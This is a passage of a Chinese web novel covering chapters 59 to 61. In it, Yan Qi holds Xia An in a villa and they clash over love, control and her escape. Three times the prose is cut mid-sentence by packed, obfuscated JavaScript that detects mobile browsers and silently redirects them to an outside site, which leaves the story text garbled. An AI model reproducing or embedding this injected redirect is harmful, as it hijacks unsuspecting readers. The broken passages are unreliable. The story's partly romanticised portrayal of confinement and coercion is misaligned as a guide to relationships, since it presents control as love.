“我只是有点害怕,你好像总是比我聪明很多,又不愿意等等我。” 他吻上夏桉的唇,微热的气息交缠,顷刻间,又谨慎的分开,偷得一个吻。 颜祈收紧手臂,牢牢将夏桉抱着,靠在她的身边有点难过的样子。 窗外风雪静谧,一片阒然里,夏桉悄悄睁开眼,她无声的看着颜祈,过了会轻叹了声:“生日快乐!” 其实她应该也察觉了吧,颜祈很想要她的生日礼物,明明每年她送出的东西都是最不值钱的那个,颜祈却会小心保管好放在琉璃柜里,连余薇他们也不能看。 但这不对,没有人会这样爱一个人。 爱情不过是突然升高的多巴胺,她不是蓝月岛的珍珠,她是一直想逃离颜祈的夏桉。 他也不是蓝月岛的平南,他一直在插手夏桉人生的颜祈。 爱的保质期不过四个月,这一切不足以为人格和独立让步。 现在,不过是这个保质期的最后一个月。 短促,毫无意义的十二月。 “别这样看着我,桉桉。”颜祈突然睁开眼,眼底染上一抹深意,“你这样,我也不知道我会做什么。” 59. 第五十九章 直觉告诉夏桉现在不是逞强的时候,虽然她知道颜祈绝对不会在这种事情做出什么偏激举动。 教养品行不会允许颜祈跨过边缘界限,他们之间一直存在这种拧巴的信任。 夏桉承认,颜祈尽管性格怪戾恣意,但他不是一个恶人。 虽然他从小吓唬夏桉总在对她发脾气,抢她的玩偶,把父亲做的琴谱泡在喷泉池里,蛮横的掌控夏桉的人际关系和生活,但颜祈从来不是穷凶极恶之徒,他只是把自己所有的坏都给了夏桉。 但夏桉还是飞快的闭上了眼,因为那句生日快乐。 他听到了。 颜祈不由笑了笑,目光停在夏桉颤抖的睫羽上:“小孩。” 他长在江州市,儿化音一直说的很好。 哪怕他只比夏桉大半岁,但颜祈总爱在她这里争个高低,自以为比对方成熟很多,每次看到夏桉过分清亮的眼睛他心里总是会冒出这种想法,觉得夏桉还是那个什么都不懂,容易被他骗到的小女孩。 “你装睡。”夏桉对颜祈这种故意假寐的行为恼火,也为自己又一次被他示软上当受骗感到恐慌,“骗......唔......” 夏桉被迫仰起头承受颜祈对她的捉弄,他的吻总是来势汹汹,带着攻城略池的目的,灼热喷薄的气息几乎将她吞没。 揽人腰肢的手逐渐上移,每到一处酥酥麻麻的电流都蔓延至四肢百骸,情潮暗涌在黯淡无光的房间里失去理智。 郁热呼吸细细密密的移到敏感的颈侧,颜祈轻轻咬了她一口旋即含住,夏桉禁不住这样强烈又难抑的潮热折磨,瑟缩的颤栗中钳住颜祈即将作乱的手。 她发颤的几乎使不上力气,手仅仅是简单的推在颜祈的腕骨。 动作停了。 空气静的只剩下紊乱又意外同频的呼吸声。 颜祈垂头盯着她僵硬的颈侧很久,他们有了相似的标记,那里的血液在散发诱人的香气,他像困牢里的猛兽从不知道自己会如此贪婪。 他目光一寸寸的摩挲,心里克制不住的猜想,在没看到的时间里,夏桉也和颜淙这样温存亲昵过吗? 夏桉简直坏到离谱。 可是他又会因为那句迟来的生日快乐不可抑制的心软,明明记得,偏要装作不知道。 夏桉的动作很轻缓,一点点挪动着想从颜祈撑起的困囿里逃离。 只是才偏了微毫,又被颜祈猛地捞了回来,他低头和夏桉共享呼吸,声线喑哑:“别相信我。” 他说过的,他也不知道自己会做什么。 男人的正常需求他也会有,只不过所有的第一次都给了夏桉。 脑子里只剩下欲望的男人和狗没有什么区别,他要的从来不止是这些。 ...... 夏桉躲在被子里,浴室里稀里哗啦的水声震的她心惊。 她悄悄下床去开门,才发现颜祈是怎样的离谱,门锁竟然是装反的,他可以随时从外面打开进来,夏桉却不能出去。 夏桉绞尽脑汁也没有想到办法,浴室里的水声渐淡,她又飞快躺回床上盖住自己,不敢乱动。 然而颜祈没有很快出来,不知过了多久,他走到床前。 柔软的被子将夏桉完全盖住,没有留出一点空隙,他想到九岁那年夏桉也是这样,她害怕鬼怪,害怕黑暗又不敢让人发现,总是关灯一个人躲在被子里偷偷的哭。 然后他跑了过去,在此后很长一段时间里占据了夏桉的空间。 颜祈站在床边思考,是不是夏桉这些对他太过纵容才把他们推到如此地步,他们如果一直住在那个老宅子里,夏桉不曾见过外面的广大世界,也许不会意识到这种关系的畸形错位。 房间的暖气热的他难受,他轻轻拉下被子,夏桉累极睡了过去,脸被闷的通红。 他撩开贴在她脸颊上的长发,再吻下去的时候不带有任何杂念的意味。 “我很喜欢你送的礼物。”他说。 ...... 夏桉被固定的不只是这座房子活动范围,还有时间。 她把房子的格局探索完也没有找到任何和外界通讯的手段,一天除了画画就是吃饭睡觉。 夏桉在后来一个早晨重新发现了那颗珍珠,它被颜祈定制了新的工艺,藤蔓交织将珍珠裹挟其中,珍珠回到了她的身上。 她起初没有发现,是颜祈那天吸吮的时候太过用力,印子两三天都没有消下去,夏桉一直用高衣领遮住怕被别人发现,哪怕这个房子除了颜祈没有人会和她主动说话。 珍珠被留在了洗漱台。 第二天又重新回到了她的身上。 在这种事情上颜祈和她都格外的有耐心,摘摘取取,夏桉有那么一瞬间想过直接把它扔出去,外面冰天雪地,这种东西应该很快就会被掩埋,等到雪化和泥水混在一起。 她想到的时候心底闪过报复的快感,颜祈不可能这样还不生气。 可她最终还是没有扔出去,这其中有很多复杂的原因,比如颜祈一定会让那些保镖把院子的雪翻遍了也要找出来,或者直接把她丢出去找,他就站在楼上看着。 很不划算,害了别人还害了自己。 丢了这个还会有下一个,太麻烦了,就这样吧。 夏桉一直很会自己开导自己,毕竟过去十几年她都在这样生活,在沉默中压抑自己的个性。 就算一直在避免,她的脑海里也早就养成了习惯,总会第一反应去美化那些事情。 就这样吧。 又不是没被关过,至少这间屋子还很暖和,没有像那个杂物间一样黑。 就这样吧。 他也不是第一次那样亲你,在蓝月岛的时候颜祈比这更加过火,没事就喜欢往她身上黏。 就这样吧。 他送过那么多次礼物,这不过就是一条最便宜的项链而已,就算真戴着也不能代表什么,毕竟她不是已经把那枚戒指丢了。 夏桉在一次又一次的自我欺骗里总在无意识的给颜祈找借口,她迟缓的感觉到这种关系的怪异,却无力改变,逃避和离开成了唯一的途径。 ..... 她在画室待的时间越来越长,饭点的时候依旧是厨嫂上来叫她。 夏桉落下最后一笔,清丽的脸庞视线未移。 在厨嫂的印象里,夏桉从来到这座华丽的大房子就总是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314758|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪淡淡,厌恶流露于表。 她不了解两人之间的关系,只是觉得他们看上去很年轻,又住在这样非富即贵的山顶别墅里,想不出能有什么烦恼。 结果每天不是拆门就是吵架,夏桉从来没有给过颜祈任何好脸色,俨然一副分手的状态,可是晚上又住在一处,关系复杂,她不好乱猜测主人家的不是。 她只是单纯觉得那幅画有点眼熟:“这画的是这座宅子?” 夏桉偏过头,自己都没发现,她那天只是在夜色中模糊看了几眼,后来就一直没出去过。 “是吗?” 厨嫂不好意思的笑笑:“也可能是我看错了,不过确实挺像的,夏小姐,您画画真好看。” 夏桉默了默,从旁边干透的画里选了一幅递过去:“送给你。” “这怎么好意思!”厨嫂推脱着不敢要。 “拿着吧,反正放在这里也没人看。” 厨嫂这才惊恐收下,夏桉站起来,裙裾划过脚腕,她走了两步突然回头问:“这房子有名字吗?” “之前没有,颜先生不怎么在这里住,但是不久他回来取了一个。” “叫什么?” 厨嫂回道:“明珠园。” ...... 这天晚上,颜祈依旧和小时候一样泰然自若的哄着夏桉睡觉。 夏桉对这种掩非饰过的行为已经免疫,躺在床上一言不发,听他在那里单口说相声。 颜祈有意把话题往她身上扯,跟不知道一样说:“桉桉,你是不是也很喜欢这条项链,我本来选了一颗海螺珠,可是又觉得那些都没有这颗有意义。” 他又说起两人第一次在蓝月岛见面的场景,“那时候你都不记得我,还总叫我过去喝可乐。” “让我明天再来,说想请我喝橙子汁。” “我就知道你记得我喜欢什么。” 说着说着,颜祈还真发现了一个点,他迫不及待的分享:“桉桉,你那个时候竟然还哼了小时候我哄你睡觉的那首歌。” 颜祈感觉幸福快将他吞没,他像小孩子一样巴巴的凑过去,在一些蛛丝马迹里找寻到爱的痕迹:“我就知道,你果然喜欢我,桉桉,你是不是为了悔婚故意骗颜淙的......” “神经病。”夏桉咬牙忍不住骂道,她有一种预感,如果还不制止,颜祈会自我脑补更多荒唐的想法。 颜祈已经不会被她这些话伤到,但他显然不满意,现在会直接扣住夏桉的后脑勺径直吻上去,压平松开,滚烫的呼吸打在她上唇,“这个称呼不好听。” 夏桉先是一愣,然后伸手立马开始推他,推不动就拿着手背使劲去蹭嘴皮,反正怎么让他不快就怎么来,一点好气也没有。 “知道我有病还在这里听我说话,夏桉,你心里有我的对不对。” 夏桉恼羞成怒举起手,实在就没见过这样会解读的人。 颜祈低头轻笑,抓住她的手有恃无恐:“没关系,日子久了,你心里总会慢慢有我的,人不一定要和自己最爱的那个在一起,有时候你以为自己爱他其实不过是一种错觉,不堪一击。” 他说:“不会有人再比我更适合你了。” 60. 第六十章 夏桉找不准合适的定义,但她知道,合适不包括掌控和驯服。 听到父母离世的那一天,她如一只胡乱扑腾的小鸟,偶然又充满命运性的被颜祈一把抓住,她不理解这种驯服背后的意义,但她感受过真正的爱。 厚雪渐消,夏桉在某一个早晨推开窗户,雪人的鼻子掉在地上,中午,颜祈让人推了它。 夏桉长期待在屋子里对外界的感知逐渐迟钝,天黑天亮有时候就在一瞬间,她在画室待的时间越来越久,颜祈像小时候一样安静的坐在一旁看她,只是不再催促,害怕有人会抢走夏桉属于他的时间。 有时候他也会离开一段时间换成保镖在门口看守,但后来颜祈发现夏桉会跟厨嫂搭两句话的时候,这个任务就换了人。 夏桉以为恨意的戳破会将他们的关系彻底结束,却意外平和。 在他们共同步入二十岁的这一年,颜祈对她看的依旧很紧但也有在学习,夏桉不喜欢和他说话那就和厨嫂说,他总会找到和夏桉正确相处的方式。 他把修复好的琴谱重新送给夏桉,平整到没有一丝浸水的褶皱。 很多被夏明诚投资失败拿去做抵押的物品也被他以不同的方式买了回来。 颜祈有在努力试图一点点更正过去所犯下的错误。 安慰自己现在的一切不过是阶段性的,一天不行就两天,时间久了关系总会修补好,就像那本书一样。 情况似乎真的如他所想,那天他看到夏桉在画厨嫂,不凑巧路过佯装随意提出其实自己也可以当模特的时候,夏桉竟然没有拒绝,颜祈感到欣喜若狂。 但夏桉确实很会激怒他。 她在透过他画颜淙。 三分相似的眉眼,却画出十分一样的颜淙。 她的眼睛静淡的望着他,满意了吗? 她在报复他。 颜祈盯着她,那双眼睛要把她刺穿。 可是颜祈还是没有生气,他的手指停在门把手上,收紧握了握,门被轻柔的带上关紧。 夏桉坐在画室里突然觉得很没有意思,四周安静的空气如同一个密闭的气球,她没有从这一次的报复里得到快感,只觉得平和的气息在将她逐渐溺毙。 或许是大家都意识到两人之间又一轮的低气压,本来就宽敞的房子弥漫着窒息的寂静。 一连好几天,颜祈没有和夏桉说一句话。 不过也有可能是他在忙着应付别的事情,夏桉能隐约感觉到,颜淙已经知道她失踪的消息,她躺在关灯的房间里想,也许很快就可以离开这里,澳洲现在是盛夏。 窗外下起绵绵细雨,潮湿的水雾依旧无法向这座宅子侵袭半分。 颜祈推开房门,沉默的在门边站了会才上床圈住她。 他可能以为夏桉睡了,开始小心翼翼的去偷亲她,这几天都是如此,自以为神不知鬼不觉的每天跑过来,又在她醒来之前偷偷离开。 夏桉有时候觉得颜祈成长的速度可怕,他很会欲盖弥彰,然后用委屈的拙劣惯技当筹码。 今早醒来,她在枕边发现了母亲常佩戴的那枚鸢尾花胸针。 这枚胸针在母亲的珠宝匣里不足为道,却是父亲送给母亲的第一个礼物。 你看,他其实贪心的很,假装自己没来过,却又故意落下这么大的纰漏。 他的每个举措都在告诉夏桉,他希望自己的付出得到回报,颜祈从来没有变过。 夏桉终于忍不住发出一声叹息,双手攀上他宽直的肩骨给予回应。 颜祈身体有一瞬间的僵硬,旋即急切的吻她,双手死死的紧箍她的腰,感觉自己压抑的快要死掉。 他常常需要一种极致的拥有去感知夏桉的温度,她实在太过冰冷。 炙热的温度会让他想起在蓝月岛的那个夏天,榕叶苍翠,海浪声声不倦,少女踮起脚尖也是这样吻上他。 恒温的室内暗潮汹涌,眼眸泛起沉沉浓雾,密密仄仄的吻从脖颈逐渐下移,这样漆黑的寒夜适合容纳一切旖旎的缠磨。 时间在他们的之间筑起高墙,更深刻的痛觉或许可以将一切摧毁重建。 夏桉才发现他原来还有一颗很尖锐的犬牙,细细磨人的时候很痒,燥热的掌心熨帖游移在后背的每一寸肌肤,喘息促乱难抑,绷紧的高热不可忽视的抵在她的腿间。 “夏桉?”他从绵软中抬起头,理智对抗,仅有的两个字都绷的很紧。 颜祈没有叫她小名,是郑重的征询,有些事一旦开始就再也回不去了。 长发散落在光洁细润的胸前颈侧,夏桉的面容一如既往的冷清姣妍。 细白微凉的指尖沿着他精致的眉骨仔细描绘,手指一路撩火,眼里却是近乎刻薄的淡漠,“颜祈,你想要什么都拿走吧。” 她眼底没有一丝情欲。 哪怕他们刚刚吻的密不可分,颜祈失了分寸的蹂躏蹭动有多么过火。 潮热在这一刻彻底冷却,少年人的尊严被她击垮粉碎,她的身体明明是热的,可颜祈却在她的眼里只看到了自己的欲望。 他们在做世上最亲密的事,夏桉无动于衷。 颜祈再次痛彻的认清现实,夏桉确实是一个很难讨好的人。 她的冷漠与理智不容许他藏匿那些情潮过后的羞耻,或许他应该继续厮磨,夏桉也许只是生性淡凉,她还那么小,这种事情陌生也很正常。 可颜祈本性骄纵乖僻,就算平时再怎么忍耐伪装,此刻恼怒也止不住的往外涌,“夏桉!” 从前恶语相向、逼迫不休的人,现在连威胁的话也变的如此苍白无力。 刚刚的吻不是情动,连妥协都算不上,是证明。 “颜祈。”夏桉很平静的不愿意看懂他,又问:“你究竟要什么?” “我只是想让你和以前一样。”颜祈握紧她的肩骨。 “这就是原本的我。” 她不想讨别人喜欢,不想总是假笑着一张脸去虚与委蛇,想着明天要如何去应对他,她一直很清醒的知道自己要什么,为之可以付出一切。 是颜祈活在过去。 他固执的想要保留那个不属于他的夏桉。 可这才是原本的她,藏锋敛锐,一击致命。 摔门的声音震耳欲聋,颜祈被激怒的很彻底。 ...... 夏桉生活照旧,对颜祈的去向不甚在意。 雪霁初晴,院子里的积雪第二日就被人清扫干净,有时候厨嫂会陪着她在院子里散步,她只需要负责夏桉的饮食,夏桉对食物不挑剔,是一个很好养活的人。 她这么想着,不禁脱口而出,随即立马捂住嘴唇道歉。 夏桉笑笑,不知想到了什么无奈的说:“可是有人觉得我很难养。” 于是提出很多要求,时间完全由那个人规划。 “怎么会,夏小姐你的脾气很好。”厨嫂之前在不少富贵人家做过厨佣,也遇见过因为不顺心就直接脾气暴躁摔盘子的人,但更多的,上流人家很少会在外人面前显露出他们真正的情绪。 那些话会转弯,是暗示,是警告,有轻蔑。 夏桉很简单,你做什么她吃什么,的确是一个很好养活的人。 “夏小姐面相很好。”厨嫂由衷的夸赞道,相由心生,这些天的朝夕相处,她认定是个夏桉是个本性善良的人。 “不。”夏桉很轻易的在这件事情上找到答案,“是因为我也寄人篱下。” 境地尴尬,害怕辜负期望已经要费尽全力,哪里还敢提出那些不该有的要求。 颜祈只需要简单的吩咐一句,她喜欢的东西就能永远在颜家餐桌上消失。 过去的十多年,她不过就是被颜祈圈养的宠物, 厨嫂愕然,她思考了一下说:“但是您看起来像那种被保护的很好的人。” 至少在外表,夏桉身上看不出任何被生活磋磨的痕迹,她全身上下透露着被金钱浸润过的光泽,眼神澄净透亮,吃穿用度都打破了厨嫂以往见识的所有认知,气度仪态都是被精心教养过。 夏桉像那种天生命好,不需要面对太多复杂的问题,是从未受过磨难的人。 夏桉还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜祈过了好半晌才开涩哑开口:“如果我们一开始和平相处,夏叔叔他们也还在,我们一起读书一起学琴,然后等长大了按照流程照本宣科,跟你表白约会,是不是颜淙的位置.......就会属于我。” 他说完苦涩的扯了扯嘴角,声音低的像是落了一夜的霜雨:“我忘了,你本来一开始也不喜欢我。” 从五岁第一次见面他去主动牵夏桉的手,夏桉就一直在避开他,她一直喜欢颜淙多一点。 “你总是这样厚此薄彼。”颜祈想到过去也不免埋怨。 “我说话你就不听,颜淙说话你什么都信,他难道就真的比我可靠?你也从来不对我笑。” “这么多年你在我面前高兴的次数还没有在蓝月岛的时候多......” 他像抓住一棵救命稻草突然发问:“你有爱过蓝月岛的平南吗?” 那是她给他取的名字,“他”只用了两个月就抵消了过去十五年的感情,真让人羡慕,又让人觉得不甘。 原来他的手上一直有正确的钥匙,夏桉只是单纯讨厌这个他。 颜祈感到鼻尖酸涩,哽滞几秒声音低微恳求道:“你应该爱过他吧,桉桉,你爱过对不对......” 他们在神树下一起系过姻缘结,在落日黄昏时接吻,真真切切的相依为命过。 “他”没做错什么,或许有被爱的理由。 颜祈手指蜷入掌心死死搂住,从斑驳的往事里再一次找到爱的踪迹,头埋的很低很低,身形将夏桉完全笼住,咽下所有的不甘心。 “桉桉,既然厚此薄彼就要一视同仁,你要像恨我一样爱他。” “这样才算公平。” 爱让人自我生疑,不被爱的人总在追求公平。 在这场无法考量的感情里,骄傲自满的人也必须低下高贵的头颅,渴望变成一个影子,甘愿诚服。 61. 第六十一章 颜祈当然不会以为这些话就能打动夏桉,他不过是被钩饵缠住的鱼,已经被消磨掉所有力气毫无办法,垂死挣扎的时候又会去寄托对方虚无缥缈的心软。 好像只要夏桉对他展露一点疼惜,颜祈就能够找到爱的证据。 他已经做了能做的所有事情,把夏桉拴在身边寸步不离,颜祈很想像过去的自己那样强硬,可他尝过和夏桉正常相爱的甜头,如今只觉无力。 心一旦变得柔软,就会全方位的塌陷。 夏桉不为所动的安然闭着眼,从不给他留下任何虚妄的念头。 颜祈又忍不住想,其实夏桉对他来说也算得上是一种宽容,她采取了最激烈又有效的反抗方式,对他的厌恶昭然若揭,如若她换成迂回的戏弄,将他抛向更高的云端,事态应该会比现在更惨烈。 尽管,他更愿意是后者,将这个美梦延长。 颜祈便只能捡好的方面想,这至少证明他在那段作为监护人的日子里应该还算尽职,他把夏桉教育的很好,她太过正直,不愿意戏弄他的感情,算是另一种变相的成功。 他们最后一次争吵发生在年末,明珠园将沿江烟火尽收眼底,漫天火花在夏桉的窗前绽放却无人关注,窗帘紧闭。 颜祈意料之中又不免失落,那场定制的烟花也许没有观众,但接踵而来的消息让他只剩下愤怒。 夏桉几分钟之前在书房里给颜淙传真过去了一份文件。 保镖站在旁边有点为难:“我们查了记录,但实在不知道夏小姐究竟传了什么,” 他委婉的补充道:“不过对方好像是自动接收,所以没有联系上。” 颜祈最近在帮夏桉办转学手续,她从来没有靠近过任何与颜祈有关的专属地界,哪怕已经没收了手机,网络也只在她想看电视的时候才会开启,但夏桉一直没有碰总在画室里待上一整天,还是颜祈怕她闷坏后来主动打开。 谁也不清楚夏桉究竟什么时候发现书房里有台传真机,但这件事终究是手下人的疏忽,以为她一直待在房间里才放松警惕。 后知后觉的醒悟让颜祈怒气直冲上脑,他推开门,目光绷紧:“你为什么会记得颜淙的号码?” 去年的时候夏桉不是这样说的,他问她为什么会忘记给自己礼物,夏桉说手机丢了记不住号码。 她所有的通讯设备都由颜祈自发置办,连号码都是颜祈的副卡,社交账号颜祈也全部知道密码,夏桉从来不玩那些,反正她没有人需要联系。 说起来这件事颜祈也有点责任,他每次给夏桉换手机都把自己的电话设置成快捷键,夏桉不记得号码也正常,他有看到过颜淙的名字吗? 好像有,但夏桉从来没有联系过,落在电话簿的最后角落,社交软件两人的界面也只有简单对话,无非就是对颜淙送每次来的东西表示感谢。 他当时是怎么想的,颜祈到现在还记得,他想夏桉怎么连这几个数字也不记得,下次要是真碰到点急事都联系不上自己。 都怪颜淙又把他们分开,要不然手机都用不上。 等第一学年结束,他一定要尽快提交申请转过去。 原来,她不是不记得,她不仅能闭着眼把颜淙画出来,连颜淙办公室的传真号码她都记得。 夏桉只是不愿意记住有关他的任何信息。 “他们不都告诉你了。”夏桉坐在床沿,没有一点想要辩解的举措。 颜祈把门摔的震天响:“你还骗了我什么,你不是说你都不记得,怎么他的你就知道,你和颜淙究竟是什么时候勾搭上的?” “我们是需要解释这种事情的关系?”夏桉永远有办法一句话将他击败。 他们之间什么关系都没有,如果非要有,按照道德伦理,夏桉现在是他的大嫂。 他本身就在做一件极其出格的事,根本没有资格质问夏桉。 颜祈此前一直不愿意正视这个问题,夏桉却总是在一次次的逼迫中让他认清现实,“你手机根本就没有丢,从那个时候你就开始准备了,你一直在骗我。” 很多事情早就有迹可循迹象,忘记他的生日只是进一步的试探,夏桉是从多久以前就在准备一点点从他身边逃走? “不可以吗?”柔和的灯光落在夏桉素净的脸庞,天真又残忍,“还是你依然觉得,只有你才能骗我?” 现在不过以牙还牙。 “闭嘴。” 颜祈随手抓起桌上的东西往窗边扔,揪着她问:“是颜淙蛊惑你的对不对,他让你这样做的,他想要你的那些东西。” “你都能和颜淙那个冷脸怪在一起,我们也可以。”他眼底攀上可怖的血丝,“你看看我,大家都说我们俩长的很像,你是不是喜欢冷漠的,我也可以那样。” “实在不行,我还可以变回平南,你是不是爱平南,你爱平南的,对吧。”颜祈眼里生出希冀的光,好似终于在一堆杂乱的借口里找到了最能挽留她的那一个,“夏桉,你愿意爱平南的对不对,我就是平南啊,我可以变成平南的。” “你喜欢蠢的傻的,冷漠的孤僻的,我都可以学。” 颜祈扣住她的肩膀嘶吼:“真的,你告诉我,夏桉,你告诉我,你喜欢什么样的。” “我以后不会这样了,我会变成你喜欢的样子。” 在夏桉的视线里,颜祈整个人就像是陷入了癫狂的状态,深刻的五官笼上一层阴翳,她蹙起秀眉又一次提出了那个问题:“颜祈,你究竟要做什么?” “我爱你,我只是想让你也爱我。”颜祈快要被她这句重复的质问逼疯,难道所有的一切她就看不出半点原因? 这一刻,夏桉终于得到了她一直想要的答案。 “你爱我?”她望着颜祈扯出一个似笑非笑的表情,对这个答案意料之中又困顿难解。 他们之间有说过爱吗? 其实是有的,颜祈在蓝月岛的时候对她说过,他说只有他最爱她,但夏桉没听见,不过听到也没用,伤害的种子一旦种下,痛苦就会扎根心底。 夏桉拂开他的手:“所以呢,你爱我我就应该感恩戴德的接受这一切?” “接受你控制我骗我,让我身边除了你再也没有其他人?” “我讨厌你,我从来没有爱过你。” “你撒谎。”这句话在颜祈心底的雷区正中掷地,他应激似的厉吼否认,愤怒撑满胸膛。 夏桉迎着他的目光,一字一句明晰道:“夏桉不爱颜祈不喜欢颜祈,听清楚了吗?” “我、不、爱、你。” “你凭什么不爱我,我做的这一切都是为了你,你凭什么感受不到?” 夏桉被他摇晃质问着,耳边像是有一层电流覆盖鼓膜,嗡鸣声占据整个大脑,只能看见颜祈的嘴张张合合,好像还在一遍又一遍的质问,凭什么不爱他。 所以要怎么样才能感受到呢? 她因为颜祈受过那么多伤,可他现在说。 那是因为爱。 一个少年无知幼稚的爱。 为什么爱一个人是想驯服掌控,是恐吓和警告,是把她禁锢在这座不属于她的房子里打着爱的旗号。 夏桉很想问问颜祈,怎么会有人的爱这么糟糕! 但她不会去问的,伤害的人要比她痛苦,才算报复。 “我不爱你,也不爱颜淙。” 跨年的烟火定点冲上天际,窗外一声嘭响,瞬息之间,绚丽的火花染红窗边白净的纱绸。 烟花爆破的声音此起彼落,颜祈恍惚一瞬,几秒之后才缓过神来颤声问:“你说什么?” “我不爱你,也不爱颜淙,我从来没有爱过任何人。”夏桉抬起眼,抱着最大的恶意不愿意放过他每个细微的表情。 她徐徐开口,声音依旧轻言细语却和年少时的颜祈一样满怀恶劣:“高中的时候,是我主动跟他说想要离开,大学也是,我知道你会过来。” “我们没有约会过,他提出结婚,我就答应了。” “因为我找不到其他的方式再离开你,这一切都是你自己造成的,满意吗?” 颜祈浑身涌动的的血液滞住,只有窗外的烟火还在一簇又一簇的盛开。 她说,她不爱颜淙也不爱颜祈,所做的一切不过是为了离开他。 他以为夏桉至少对颜淙有好感权衡之下才会去那里寻求保护,但是没有,夏桉根本不在乎未来怎么样,在不知道信托和股份的时候,她选择把自己的人生倾注上桌,只为了报复了颜祈。 原来有这么恨啊,怎么能把自己的人生赌进去呢? 他在她的心里就是这样的卑劣可怖? 颜祈冷颤着不敢再碰她,心口像被钝刀来回搅弄,闷痛击碎脊骨。 这场由颜祈单方面发起的驯养,十年后在夏桉的孤注一掷下彻底落败。 没有比他更糟糕的‘监护人’。 颜祈终于开始后悔,他承认自己把夏桉已经养坏了。 ..... 跨年的烟花直到凌晨两三点也没有结束,夏桉望着天花板发愣,并没有从报复中得到更多的快感。 这本来就是一场不够完美的局,她那时拥有的太少,除了自己再没有更多的东西,与之增长的是颜祈羽翼,他成年了,没有什么可以再阻止他继续这样。 夏桉不过是想依附颜淙的力量彻底摆脱颜祈,想要的是身份上的逆向压制。 所以的一切来的都恰到好处,除了那场不该有的失忆。 不肯承认的事实开始摆在眼前,她知道了如何让颜祈更痛。 身心俱疲,窗外的烟火声逐渐停息,夏桉转过身,眼皮阖上。 倏地,门口传来一声闷响,像是有什么东西砸在了门上,夏桉瞬间睁开眼坐直起身,警惕的望着门口。 指纹锁解开,昏暗的视线里,颜祈高瘦的身形出现在门外,他垂着头一动不动似在试探。 夏桉不知道颜祈这种性格的人是怎么做到在她这里屡屡受挫却依然执着,他们才吵完架撕破脸皮,这才多久,有五个小时吗,怎么又能没脸没皮的闯进来。 她无奈叹息,躺下转过身不愿意看他,那扇门反正从来没有她管辖的权利。 长久的缄默里,光线忽明忽暗,最后彻底暗了下去,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374796|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被关紧,她用力掐紧指尖,床尾处突然传来一阵塌陷。 夏桉闻到了一股很浓烈的酒味,说不上难闻,但闻着比上次的骗她来的时候要重很多。 她不想管,可颜祈横躺在床上,但凡她腿伸直一点就能碰到。 夏桉用力扯了扯被子,没扯动,讪然提醒道:“你压到我了。” 颜祈无动于衷,直挺挺的躺在靠近床尾的三分之一处。 “我说你压到我了。”夏桉语气不悦地又重复了一遍。 “......” 她气恼地直接隔着被子踹了一脚,“你听见没有,我说你压到我了。” 颜祈依旧没有任何反应。 又在这里装,小时候那样一个恶戾的人怎么长大后总热衷于这样的方式去让她妥协,他尝试过那么多次,难道会觉得这次有什么不一样。 夏桉又狠狠蹬了一脚,蜷缩躺在床的一侧,现在本来就是凌晨三点多,她已经晚睡很久了。 寒恻恻的夜风掠过,树叶婆娑作响,往年这个时候江州市才开始下雪,她总会装作生病的样子应付颜祈,能偷得一个月左右的空闲。 房间的酒味太冲了,夏桉从黑暗中坐起来,窝火地拿过旁边的枕头砸过去:“你闹够了没有。” 颜祈一动不动,硬是没有半点反应。 夏桉爬到床尾,不确定地看了一眼,然后把垂在床尾的被子囫囵盖住颜祈,只剩下落在床沿的长腿还露在外面。 好似这样就可以盖住那股味,也让他自己闻闻有多么难受。 五分钟后,夏桉撑着倦乏的身子坐起来,认命的挪过去又掀开一点。 等下在她床上闷死,以后就一辈子不用睡觉了。 “到底是喝了多少,明明就是你的错,怎么还弄得自己好像很委屈一样。”夏桉被气的眼角湿红一片,又觉得愤懑,伸手过去用力掐了他一把。 最后只能无奈的跟着横睡,颜祈在被子外面,她在被子里面,像太极的形状。 先前的困意消散,夏桉只露出一双眼端量着他清绝峻深的侧脸,眼泪突然就滚落下去,她难堪的吸了吸鼻子压下,一言不发的看着他,确认是真的睡着后才小声开口。 对他的回答依旧难解:“你怎么会爱我呢,不是说最讨厌我吗?” “没有人会这样爱一个人的。” 她微微仰起一点头,指尖拨开他眼皮上的碎发,想起了很久之前的事情:“不是总说要实现我的愿望吗?” “离开你,就是我的愿望。” “颜祈,放我走吧。” “以后不要再见面了。” 如果蓝月岛上对她的承诺还奏效的话。 夏桉说:“你要是真的是平南该有多好。” 他应该不会惹她生气,也不会把她骗到这个房子里总在逼迫她,他会害怕她的眼泪,会嘴硬心软,他会实现她的所有愿望。 所以王珍珠会爱平南,夏桉也会,但王珍珠不会爱上颜祈,夏桉也一样。 阳光从间隙投进屋子,夏桉按时睁开眼,茫然望着浮动的光影出神,不记得昨天有拉开过另一侧的窗帘。 房间里颜祈的气味早就消失,要不是她还横睡着,都要以为昨晚只是一场梦。 夏桉洗漱完推开门,楼下摆着做好的早餐,她吃到一半才发现整个明珠园都诡异的安静。 厨嫂往常这个时候都在餐厅等她,颜祈会盯着她吃早餐,屋外轮番看守的保镖也会在这个时候开始换班。 